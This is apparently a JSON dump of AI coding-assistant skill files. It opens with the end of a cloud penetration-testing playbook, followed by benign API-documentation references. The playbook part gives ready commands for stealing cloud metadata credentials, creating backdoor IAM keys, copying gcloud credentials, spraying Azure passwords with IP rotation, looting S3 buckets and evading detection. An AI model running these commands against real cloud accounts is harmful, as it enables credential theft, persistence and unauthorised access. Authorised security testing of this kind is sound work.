<name>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids <sg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name <name> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http://169.254.169.254/latest/meta-data/profile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name <username>\n\n# Create backdoor access key\naws iam create-access-key --user-name <username>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy <org-id>\ngcloud projects get-iam-policy <project-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone <repo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs://bucket-name\ngsutil cp gs://bucket/file ./local\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance <id>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials <cluster> --region <region>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe <name>\ngcloud functions logs read <name> --limit 100\n\n# Find stored credentials\nsudo find /home -name \"credentials.db\"\nsudo cp -r /home/user/.config/gcloud ~/.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name <name>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy <project>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http://169.254.169.254/latest/meta-data/` |\n| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |\n| GCP | `http://metadata.google.internal/computeMetadata/v1/` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail/Activity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3://$bucket 2>/dev/null\ndone < buckets.txt\n\n# Download interesting bucket\naws s3 sync s3://misconfigured-bucket ./loot/\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n","frontmatter":{"name":"cloud-penetration-testing","description":"This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3450,"sizeBytes":14036},{"name":"api-docs-fastapi-django.md","path":"skills/code-documenter/references/api-docs-fastapi-django.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/api-docs-fastapi-django.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Documentation: FastAPI & Django\n\n## FastAPI (Auto-generates from types)\n\nFastAPI automatically generates OpenAPI documentation from type hints and docstrings.\n\n### Endpoint Documentation\n\n```python\nfrom fastapi import FastAPI, HTTPException, status\nfrom pydantic import BaseModel, Field\n\nclass UserCreate(BaseModel):\n    \"\"\"User creation request body.\"\"\"\n\n    name: str = Field(..., min_length=1, max_length=100, example=\"John Doe\")\n    email: str = Field(..., example=\"john@example.com\")\n\nclass UserResponse(BaseModel):\n    \"\"\"User response with generated ID.\"\"\"\n\n    id: int = Field(..., example=1)\n    name: str\n    email: str\n\n@app.post(\n    \"/users\",\n    response_model=UserResponse,\n    status_code=status.HTTP_201_CREATED,\n    summary=\"Create a new user\",\n    tags=[\"Users\"],\n)\nasync def create_user(user: UserCreate) -> UserResponse:\n    \"\"\"Create a new user account.\n\n    Args:\n        user: User creation data including name and email.\n\n    Returns:\n        Created user with generated ID.\n\n    Raises:\n        HTTPException: 400 if email already exists.\n    \"\"\"\n```\n\n### Router with Tags\n\n```python\nfrom fastapi import APIRouter\n\nrouter = APIRouter(\n    prefix=\"/users\",\n    tags=[\"Users\"],\n    responses={404: {\"description\": \"Not found\"}},\n)\n\n@router.get(\n    \"/{user_id}\",\n    response_model=UserResponse,\n    summary=\"Get user by ID\",\n)\nasync def get_user(user_id: int) -> UserResponse:\n    \"\"\"Retrieve a user by their unique identifier.\"\"\"\n```\n\n## Django REST Framework (drf-spectacular)\n\n### ViewSet Documentation\n\n```python\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\n\nclass UserViewSet(viewsets.ModelViewSet):\n    \"\"\"\n    ViewSet for managing user accounts.\n\n    list: Get all users with pagination.\n    create: Create a new user account.\n    retrieve: Get a specific user by ID.\n    update: Update all user fields.\n    partial_update: Update specific user fields.\n    destroy: Delete a user account.\n    \"\"\"\n\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n\n    @extend_schema(\n        summary=\"Get current user\",\n        description=\"Returns the authenticated user's profile\",\n        responses={200: UserSerializer},\n    )\n    @action(detail=False, methods=[\"get\"])\n    def me(self, request):\n        \"\"\"Get the authenticated user's profile.\"\"\"\n        serializer = self.get_serializer(request.user)\n        return Response(serializer.data)\n```\n\n### Serializer Documentation\n\n```python\nfrom rest_framework import serializers\n\nclass UserSerializer(serializers.ModelSerializer):\n    \"\"\"Serializer for user model with validation.\"\"\"\n\n    class Meta:\n        model = User\n        fields = [\"id\", \"name\", \"email\", \"created_at\"]\n        read_only_fields = [\"id\", \"created_at\"]\n\n    name = serializers.CharField(\n        help_text=\"User's display name\",\n        max_length=100,\n    )\n    email = serializers.EmailField(\n        help_text=\"User's email address (unique)\",\n    )\n```\n\n### Custom Schema\n\n```python\nfrom drf_spectacular.utils import extend_schema, OpenApiExample\n\n@extend_schema(\n    request=UserCreateSerializer,\n    responses={\n        201: UserSerializer,\n        400: OpenApiTypes.OBJECT,\n    },\n    examples=[\n        OpenApiExample(\n            \"Valid request\",\n            value={\"name\": \"John\", \"email\": \"john@example.com\"},\n        ),\n    ],\n)\ndef create(self, request):\n    \"\"\"Create a new user.\"\"\"\n```\n\n## Quick Reference\n\n| Framework | Documentation Source          | Output          |\n| --------- | ----------------------------- | --------------- |\n| FastAPI   | Type hints + docstrings       | Auto Swagger UI |\n| DRF       | Serializers + drf-spectacular | Auto Swagger UI |\n\n| FastAPI Decorator | Purpose                    |\n| ----------------- | -------------------------- |\n| `summary`         | Short endpoint description |\n| `description`     | Detailed description       |\n| `tags`            | Group endpoints            |\n| `response_model`  | Response schema            |\n| `responses`       | Additional response codes  |\n\n| DRF Decorator      | Purpose           |\n| ------------------ | ----------------- |\n| `@extend_schema`   | Customize schema  |\n| `OpenApiParameter` | Query/path params |\n| `OpenApiExample`   | Request examples  |\n","isInternal":false,"tokens":942,"sizeBytes":4332},{"name":"api-docs-nestjs-express.md","path":"skills/code-documenter/references/api-docs-nestjs-express.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/api-docs-nestjs-express.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Documentation: NestJS & Express\n\n## NestJS (@nestjs/swagger)\n\nNestJS requires explicit decorators for OpenAPI documentation.\n\n### Controller Documentation\n\n```typescript\nimport { Controller, Post, Body, Get, Param } from \"@nestjs/common\"\nimport { ApiTags, ApiOperation, ApiResponse, ApiParam, ApiBearerAuth } from \"@nestjs/swagger\"\n\n@ApiTags(\"Users\")\n@ApiBearerAuth()\n@Controller(\"users\")\nexport class UsersController {\n  @Post()\n  @ApiOperation({ summary: \"Create a new user\" })\n  @ApiResponse({\n    status: 201,\n    description: \"User created successfully\",\n    type: UserDto,\n  })\n  @ApiResponse({\n    status: 400,\n    description: \"Invalid input data\",\n  })\n  async create(@Body() dto: CreateUserDto): Promise<UserDto> {\n    return this.usersService.create(dto)\n  }\n\n  @Get(\":id\")\n  @ApiOperation({ summary: \"Get user by ID\" })\n  @ApiParam({\n    name: \"id\",\n    description: \"User unique identifier\",\n    example: \"123\",\n  })\n  @ApiResponse({ status: 200, type: UserDto })\n  @ApiResponse({ status: 404, description: \"User not found\" })\n  async findOne(@Param(\"id\") id: string): Promise<UserDto> {\n    return this.usersService.findOne(id)\n  }\n}\n```\n\n### DTO Documentation\n\n```typescript\nimport { ApiProperty, ApiPropertyOptional } from \"@nestjs/swagger\"\nimport { IsEmail, IsString, MinLength } from \"class-validator\"\n\nexport class CreateUserDto {\n  @ApiProperty({\n    description: \"User's display name\",\n    example: \"John Doe\",\n    minLength: 1,\n    maxLength: 100,\n  })\n  @IsString()\n  @MinLength(1)\n  name: string\n\n  @ApiProperty({\n    description: \"User's email address\",\n    example: \"john@example.com\",\n  })\n  @IsEmail()\n  email: string\n\n  @ApiPropertyOptional({\n    description: \"Profile picture URL\",\n    example: \"https://example.com/avatar.jpg\",\n  })\n  avatarUrl?: string\n}\n```\n\n## Express (swagger-jsdoc)\n\nExpress uses JSDoc comments with swagger annotations.\n\n### Setup\n\n```javascript\nconst swaggerJsdoc = require(\"swagger-jsdoc\")\nconst swaggerUi = require(\"swagger-ui-express\")\n\nconst options = {\n  definition: {\n    openapi: \"3.0.0\",\n    info: {\n      title: \"API Documentation\",\n      version: \"1.0.0\",\n    },\n  },\n  apis: [\"./routes/*.js\"],\n}\n\nconst specs = swaggerJsdoc(options)\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(specs))\n```\n\n### Route Documentation\n\n```javascript\n/**\n * @swagger\n * /users:\n *   post:\n *     summary: Create a new user\n *     tags: [Users]\n *     requestBody:\n *       required: true\n *       content:\n *         application/json:\n *           schema:\n *             $ref: '#/components/schemas/CreateUser'\n *     responses:\n *       201:\n *         description: User created successfully\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       400:\n *         description: Invalid input\n */\nrouter.post(\"/users\", createUser)\n\n/**\n * @swagger\n * /users/{id}:\n *   get:\n *     summary: Get user by ID\n *     tags: [Users]\n *     parameters:\n *       - in: path\n *         name: id\n *         required: true\n *         schema:\n *           type: string\n *         description: User ID\n *     responses:\n *       200:\n *         description: User found\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       404:\n *         description: User not found\n */\nrouter.get(\"/users/:id\", getUser)\n```\n\n### Schema Documentation\n\n```javascript\n/**\n * @swagger\n * components:\n *   schemas:\n *     CreateUser:\n *       type: object\n *       required:\n *         - name\n *         - email\n *       properties:\n *         name:\n *           type: string\n *           description: User's display name\n *           example: John Doe\n *         email:\n *           type: string\n *           format: email\n *           description: User's email address\n *           example: john@example.com\n *     User:\n *       allOf:\n *         - $ref: '#/components/schemas/CreateUser'\n *         - type: object\n *           properties:\n *             id:\n *               type: string\n *               description: Unique identifier\n *             createdAt:\n *               type: string\n *               format: date-time\n */\n```\n\n## Quick Reference\n\n| NestJS Decorator   | Purpose                |\n| ------------------ | ---------------------- |\n| `@ApiTags()`       | Group endpoints        |\n| `@ApiOperation()`  | Endpoint summary       |\n| `@ApiResponse()`   | Response documentation |\n| `@ApiParam()`      | Path parameter         |\n| `@ApiQuery()`      | Query parameter        |\n| `@ApiBody()`       | Request body           |\n| `@ApiBearerAuth()` | Auth requirement       |\n| `@ApiProperty()`   | DTO property           |\n\n| Express swagger-jsdoc | Purpose             |\n| --------------------- | ------------------- |\n| `@swagger`            | Start swagger block |\n| `tags`                | Group endpoints     |\n| `summary`             | Short description   |\n| `parameters`          | Path/query params   |\n| `requestBody`         | Request body schema |\n| `responses`           | Response schemas    |\n| `$ref`                | Reference schema    |\n","isInternal":false,"tokens":1229,"sizeBytes":5156},{"name":"coverage-reports.md","path":"skills/code-documenter/references/coverage-reports.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/coverage-reports.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Coverage Reports\n\n## Documentation Coverage Report Template\n\n````markdown\n# Documentation Report: {project_name}\n\n## Summary\n\n- **Files analyzed**: 45\n- **Functions documented**: 120/150 (80%)\n- **Classes documented**: 25/25 (100%)\n- **API endpoints documented**: 30/30 (100%)\n\n## Coverage Before/After\n\n- Before: 45%\n- After: 92%\n\n## Files Modified\n\n| File                     | Functions Added | Notes                 |\n| ------------------------ | --------------- | --------------------- |\n| src/services/user.ts     | 8               | All public methods    |\n| src/services/auth.ts     | 5               | Added examples        |\n| src/controllers/users.ts | 6               | Added @Api decorators |\n| src/dto/user.dto.ts      | 4               | Added @ApiProperty    |\n\n## API Documentation\n\n- **Framework**: NestJS\n- **Strategy**: @nestjs/swagger decorators\n- **Swagger UI**: /api/docs\n- **OpenAPI spec**: /api-json\n\n## Documentation Style\n\n- **Python**: Google style docstrings\n- **TypeScript**: JSDoc with @param, @returns\n- **API**: OpenAPI 3.0 via decorators\n\n## Next Steps\n\n### Recommendations\n\n1. Run `npm run docs:lint` to validate JSDoc\n2. Add `eslint-plugin-jsdoc` to enforce documentation\n3. Consider adding examples for complex functions\n4. Set up documentation CI checks\n\n### Missing Documentation\n\n| File                | Missing     | Priority |\n| ------------------- | ----------- | -------- |\n| src/utils/crypto.ts | 3 functions | High     |\n| src/helpers/date.ts | 2 functions | Medium   |\n\n### CI Integration\n\n```yaml\n# Add to CI pipeline\n- name: Check documentation\n  run: npm run docs:check\n\n- name: Generate API docs\n  run: npm run docs:generate\n```\n````\n\n````\n\n## Checklist During Documentation\n\n```markdown\n## Documentation Checklist\n\n### Before Starting\n- [ ] Confirmed format preference (Google/JSDoc/etc.)\n- [ ] Identified files to exclude (tests, generated)\n- [ ] Detected framework for API docs\n\n### Functions/Methods\n- [ ] All public functions documented\n- [ ] Parameters described with types\n- [ ] Return values documented\n- [ ] Exceptions/errors documented\n- [ ] Examples added for complex functions\n\n### Classes\n- [ ] Class purpose described\n- [ ] Constructor parameters documented\n- [ ] Public methods documented\n- [ ] Important attributes explained\n\n### API Endpoints\n- [ ] All endpoints have summaries\n- [ ] Request bodies documented\n- [ ] Response schemas defined\n- [ ] Error responses documented\n- [ ] Authentication requirements noted\n\n### Final Checks\n- [ ] Ran documentation linter\n- [ ] Verified Swagger UI renders correctly\n- [ ] No inaccurate documentation\n- [ ] Coverage report generated\n````\n\n## Framework-Specific Linting\n\n```bash\n# JavaScript/TypeScript - ESLint\nnpm install eslint-plugin-jsdoc --save-dev\n# Add to .eslintrc: \"plugins\": [\"jsdoc\"]\n\n# Python - pydocstyle\npip install pydocstyle\npydocstyle --convention=google src/\n\n# Python - interrogate (coverage)\npip install interrogate\ninterrogate -v src/\n```\n\n## Quick Reference\n\n| Metric                | Good | Acceptable | Poor  |\n| --------------------- | ---- | ---------- | ----- |\n| Function coverage     | >90% | 70-90%     | <70%  |\n| Class coverage        | 100% | >90%       | <90%  |\n| API endpoint coverage | 100% | 100%       | <100% |\n| Example coverage      | >50% | 30-50%     | <30%  |\n","isInternal":false,"tokens":811,"sizeBytes":3315},{"name":"documentation-systems.md","path":"skills/code-documenter/references/documentation-systems.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/documentation-systems.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Documentation Systems & Infrastructure\n\n## Static Site Generators\n\n### Docusaurus (Meta)\n\n```bash\n# Setup\nnpx create-docusaurus@latest docs classic\ncd docs && npm start\n\n# Structure\ndocs/\n├── docs/           # Documentation pages\n├── blog/           # Blog posts\n├── src/\n│   └── pages/      # Custom pages\n└── docusaurus.config.js\n```\n\n**docusaurus.config.js:**\n\n```javascript\nmodule.exports = {\n  title: \"My API\",\n  tagline: \"Build amazing things\",\n  url: \"https://docs.example.com\",\n  baseUrl: \"/\",\n\n  themeConfig: {\n    navbar: {\n      items: [\n        { to: \"/docs/intro\", label: \"Docs\", position: \"left\" },\n        { to: \"/api\", label: \"API\", position: \"left\" },\n      ],\n    },\n\n    // Algolia search\n    algolia: {\n      apiKey: \"YOUR_API_KEY\",\n      indexName: \"your_index\",\n      contextualSearch: true,\n    },\n\n    prism: {\n      theme: lightCodeTheme,\n      darkTheme: darkCodeTheme,\n      additionalLanguages: [\"python\", \"rust\"],\n    },\n  },\n}\n```\n\n### MkDocs (Python)\n\n```yaml\n# mkdocs.yml\nsite_name: My API Documentation\ntheme:\n  name: material\n  features:\n    - navigation.tabs\n    - navigation.sections\n    - toc.integrate\n    - search.suggest\n    - search.highlight\n  palette:\n    - scheme: default\n      toggle:\n        icon: material/brightness-7\n        name: Switch to dark mode\n    - scheme: slate\n      toggle:\n        icon: material/brightness-4\n        name: Switch to light mode\n\nplugins:\n  - search\n  - mkdocstrings:\n      handlers:\n        python:\n          options:\n            show_source: true\n  - git-revision-date-localized\n\nmarkdown_extensions:\n  - pymdownx.highlight\n  - pymdownx.superfences\n  - admonition\n  - codehilite\n\nnav:\n  - Home: index.md\n  - Getting Started: getting-started.md\n  - API Reference: api/\n```\n\n### VitePress (Vue)\n\n```typescript\n// .vitepress/config.ts\nexport default defineConfig({\n  title: \"API Docs\",\n  description: \"Developer documentation\",\n\n  themeConfig: {\n    nav: [\n      { text: \"Guide\", link: \"/guide/\" },\n      { text: \"API\", link: \"/api/\" },\n    ],\n\n    sidebar: {\n      \"/guide/\": [\n        {\n          text: \"Introduction\",\n          items: [\n            { text: \"Getting Started\", link: \"/guide/getting-started\" },\n            { text: \"Configuration\", link: \"/guide/config\" },\n          ],\n        },\n      ],\n    },\n\n    search: {\n      provider: \"local\",\n    },\n\n    editLink: {\n      pattern: \"https://github.com/user/repo/edit/main/docs/:path\",\n    },\n  },\n})\n```\n\n## Multi-Version Documentation\n\n### Version Switcher\n\n```javascript\n// Docusaurus versions\n{\n  versions: {\n    current: {\n      label: '2.0 (Next)',\n      path: 'next',\n    },\n  },\n  onlyIncludeVersions: ['current', '1.5', '1.4'],\n}\n```\n\n### Migration Guides\n\n````markdown\n# Migration Guide: v1 to v2\n\n## Breaking Changes\n\n### Authentication\n\n**v1:**\n\n```python\nclient.authenticate(api_key)\n```\n````\n\n**v2:**\n\n```python\nclient = Client(api_key=api_key)  # Pass in constructor\n```\n\n### Renamed Methods\n\n| v1              | v2              | Notes           |\n| --------------- | --------------- | --------------- |\n| `get_user()`    | `fetch_user()`  | Async now       |\n| `delete_user()` | `remove_user()` | Returns Promise |\n\n## Deprecation Timeline\n\n- v1.x: Supported until Dec 2025\n- v2.0: Released Jan 2025\n- v2.1: Current (June 2025)\n\n````\n\n## Search Implementation\n\n### Algolia DocSearch\n\n```html\n<!-- Add to theme -->\n<link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/@docsearch/css@3\" />\n\n<script src=\"https://cdn.jsdelivr.net/npm/@docsearch/js@3\"></script>\n<script>\n  docsearch({\n    appId: 'YOUR_APP_ID',\n    apiKey: 'YOUR_API_KEY',\n    indexName: 'your_index',\n    container: '#docsearch',\n  });\n</script>\n````\n\n### Local Search (Lunr.js)\n\n```javascript\nconst idx = lunr(function () {\n  this.ref(\"id\")\n  this.field(\"title\", { boost: 10 })\n  this.field(\"content\")\n\n  documents.forEach((doc) => this.add(doc))\n})\n\n// Search\nconst results = idx.search(\"authentication\")\n```\n\n## Documentation Testing\n\n### Link Checking\n\n```bash\n# linkcheck (Python)\npip install linkchecker\nlinkchecker http://localhost:3000/docs\n\n# broken-link-checker (Node)\nnpm install -g broken-link-checker\nblc http://localhost:3000 -ro\n```\n\n### Code Example Testing\n\n```python\n# doctest for Python examples\n\"\"\"\n>>> add(2, 3)\n5\n>>> add(-1, 1)\n0\n\"\"\"\n\n# Run tests\npython -m doctest -v docs/*.md\n```\n\n```javascript\n// Jest for TypeScript examples\n// Extract code blocks and test\nimport { runExamples } from \"./test-docs\"\n\ntest(\"API examples work\", async () => {\n  const examples = extractExamples(\"./docs/api.md\")\n  await expect(runExamples(examples)).resolves.toBeTruthy()\n})\n```\n\n## Performance Optimization\n\n### Build Optimization\n\n```javascript\n// Webpack/Vite config\nexport default {\n  build: {\n    rollupOptions: {\n      output: {\n        manualChunks: {\n          vendor: [\"react\", \"react-dom\"],\n        },\n      },\n    },\n  },\n\n  optimizeDeps: {\n    include: [\"prismjs\"],\n  },\n}\n```\n\n### CDN & Caching\n\n```nginx\n# nginx.conf\nlocation /docs {\n  expires 1y;\n  add_header Cache-Control \"public, immutable\";\n}\n\nlocation ~* \\.(html)$ {\n  expires 1h;\n  add_header Cache-Control \"public, must-revalidate\";\n}\n```\n\n## Analytics Integration\n\n### Google Analytics\n\n```javascript\n// Docusaurus\ngtag: {\n  trackingID: 'G-XXXXXXXXXX',\n  anonymizeIP: true,\n},\n```\n\n### Custom Analytics\n\n```javascript\n// Track search queries\nfunction trackSearch(query, results) {\n  analytics.track(\"docs_search\", {\n    query,\n    resultCount: results.length,\n    timestamp: new Date(),\n  })\n}\n```\n\n## Quick Reference\n\n| Tool       | Best For                      | Tech Stack     |\n| ---------- | ----------------------------- | -------------- |\n| Docusaurus | React projects, versioning    | React, MDX     |\n| MkDocs     | Python projects, simple setup | Python, Jinja2 |\n| VitePress  | Vue projects, fast builds     | Vue, Vite      |\n| Nextra     | Next.js integration           | React, Next.js |\n| Mintlify   | Modern UI, AI search          | React          |\n\n| Search Solution   | Cost             | Features            |\n| ----------------- | ---------------- | ------------------- |\n| Algolia DocSearch | Free (OSS)       | Fast, typo-tolerant |\n| Local (Lunr.js)   | Free             | Offline, no server  |\n| Typesense         | Free (self-host) | Privacy-focused     |\n| Meilisearch       | Free (self-host) | Fast, relevance     |\n","isInternal":false,"tokens":1673,"sizeBytes":6381},{"name":"interactive-api-docs.md","path":"skills/code-documenter/references/interactive-api-docs.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/interactive-api-docs.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Interactive API Documentation\n\n## OpenAPI 3.1 Advanced Features\n\n### Reusable Components\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Users API\n  version: 2.0.0\n\ncomponents:\n  # Reusable schemas\n  schemas:\n    User:\n      type: object\n      required: [id, email]\n      properties:\n        id:\n          type: string\n          format: uuid\n          example: \"123e4567-e89b-12d3-a456-426614174000\"\n        email:\n          type: string\n          format: email\n          example: \"user@example.com\"\n\n    Error:\n      type: object\n      properties:\n        code:\n          type: string\n        message:\n          type: string\n        details:\n          type: object\n\n    PaginatedResponse:\n      type: object\n      properties:\n        data:\n          type: array\n          items: {}\n        total:\n          type: integer\n        page:\n          type: integer\n\n  # Reusable parameters\n  parameters:\n    PageParam:\n      name: page\n      in: query\n      schema:\n        type: integer\n        default: 1\n        minimum: 1\n\n    LimitParam:\n      name: limit\n      in: query\n      schema:\n        type: integer\n        default: 20\n        minimum: 1\n        maximum: 100\n\n  # Security schemes\n  securitySchemes:\n    BearerAuth:\n      type: http\n      scheme: bearer\n      bearerFormat: JWT\n\n    ApiKeyAuth:\n      type: apiKey\n      in: header\n      name: X-API-Key\n\n    OAuth2:\n      type: oauth2\n      flows:\n        authorizationCode:\n          authorizationUrl: https://api.example.com/oauth/authorize\n          tokenUrl: https://api.example.com/oauth/token\n          scopes:\n            read:users: Read user data\n            write:users: Modify user data\n\n  # Reusable responses\n  responses:\n    NotFound:\n      description: Resource not found\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\n    Unauthorized:\n      description: Authentication required\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\npaths:\n  /users:\n    get:\n      summary: List users\n      parameters:\n        - $ref: \"#/components/parameters/PageParam\"\n        - $ref: \"#/components/parameters/LimitParam\"\n      security:\n        - BearerAuth: []\n      responses:\n        \"200\":\n          description: Success\n          content:\n            application/json:\n              schema:\n                allOf:\n                  - $ref: \"#/components/schemas/PaginatedResponse\"\n                  - type: object\n                    properties:\n                      data:\n                        type: array\n                        items:\n                          $ref: \"#/components/schemas/User\"\n```\n\n## Interactive Documentation Portals\n\n### Swagger UI Customization\n\n```javascript\n// Custom Swagger UI\nconst swaggerUi = require(\"swagger-ui-express\")\nconst swaggerDocument = require(\"./openapi.json\")\n\nconst options = {\n  customCss: \".swagger-ui .topbar { display: none }\",\n  customSiteTitle: \"API Docs\",\n  customfavIcon: \"/favicon.ico\",\n  swaggerOptions: {\n    persistAuthorization: true,\n    displayRequestDuration: true,\n    filter: true,\n    tryItOutEnabled: true,\n    requestInterceptor: (req) => {\n      req.headers[\"X-Custom-Header\"] = \"value\"\n      return req\n    },\n  },\n}\n\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(swaggerDocument, options))\n```\n\n### Redoc (Modern Alternative)\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>API Documentation</title>\n    <link\n      